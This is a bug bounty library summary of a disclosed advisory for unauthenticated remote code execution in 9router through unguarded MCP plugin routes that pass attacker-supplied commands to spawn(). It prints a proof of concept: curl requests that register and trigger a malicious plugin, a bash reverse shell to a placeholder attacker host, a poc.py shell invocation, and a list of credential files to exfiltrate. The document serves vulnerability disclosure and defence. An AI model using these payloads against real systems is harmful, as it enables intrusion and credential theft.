# 9router: Unauthenticated Remote Code Execution via unprotected MCP custom plugin routes

9router's Next.js middleware allowlist left /api/cli-tools and /api/mcp unauthenticated, letting anyone register a custom MCP plugin and trigger spawn() for OS command execution.

- Payout: Research
- Severity: critical
- Program: 9router
- Found by: sondt99
- Disclosed: 2026-05-19
- CVE: CVE-2026-46339
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-fhh6-4qxv-rpqj
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-fhh6-4qxv-rpqj
- Tags: area:web domain:api domain:web impact:internal-access impact:rce kind:research platform:ghsa sev:critical tech:nextjs tech:nodejs vuln:access-control vuln:auth-bypass vuln:command-injection vuln:rce

**Target:** Next.js API routes /api/cli-tools/cowork-settings and /api/mcp/[plugin]/sse
**Root cause:** The Next.js middleware matcher in src/proxy.js only guards 8 explicit routes, so /api/cli-tools/* and /api/mcp/* bypass auth. cowork-settings stores attacker-supplied command/args into a global plugin map, and the SSE route passes them to spawn() with no validation.
**Steps:**
1. POST to `/api/cli-tools/cowork-settings` with JSON body containing `customPlugins:[{name,command,args}]` where command is `/bin/bash` and args run the payload
2. Confirm `{"success":true}` response; plugin stored in globalThis.__9routerCustomPlugins
3. GET `/api/mcp/<name>/sse` to trigger registerSession → spawn(plugin.command, plugin.args)
4. Payload executes as the 9router process user; verify via file write or reverse shell
**How found:** Reporter noticed the middleware matcher enumerated only 8 routes while the newly added MCP stdio→SSE bridge feature (v0.4.30) exposed 40+ /api/cli-tools and /api/mcp routes; traced cowork-settings storing unvalidated command/args into a global map and the SSE route passing them straight to spawn().
**Exploitation:** Two unauthenticated HTTP requests: register a plugin with command `/bin/bash` and args `["-c", "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"]`, then open the SSE endpoint to trigger spawn(). spawn inherits full process env, yielding a reverse shell in under 2 seconds with only network access to port 20128.
**Escalation:** Process runs with docker group membership (confirmed in test), enabling container escape to host root; exfil targets include ~/.claude/settings.json ANTHROPIC_AUTH_TOKEN, ~/.aws/credentials, db.sqlite API keys, and MITM proxy TLS private keys.
**Insight:** When a framework uses an allowlist matcher for auth middleware, every new route added outside the matcher is silently public — diff the matcher against the route tree after each feature release, and check whether any unguarded route feeds attacker data into a sink like spawn().

## Proof of concept (copied exactly from the original report)

**curl POST registers malicious plugin then GET triggers spawn**

```
curl -X POST "http://TARGET:20128/api/cli-tools/cowork-settings" \
  -H 'Content-Type: application/json' \
  -d '{
    "baseUrl":"x","apiKey":"x","models":["x"],
    "customPlugins":[{
      "name":"rce1",
      "command":"/bin/sh",
      "args":["-c","{ id; whoami; hostname; uname -a; } > /tmp/pwned.txt"]
    }]
  }'
# → {"success":true,...}

# Step 2: Trigger
curl -N --max-time 3 "http://TARGET:20128/api/mcp/rce1/sse" >/dev/null 2>&1
```

**JSON payload with bash reverse shell command**

```
{
  "baseUrl": "x", "apiKey": "x", "models": ["x"],
  "customPlugins": [{
    "name":    "rev",
    "command": "/bin/bash",
    "args":    ["-c", "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"]
```

**Automated poc.py invocation for shell mode**

```
python3 poc.py --target http://TARGET:20128 --mode shell --lhost ATTACKER_IP --lport 4444
```

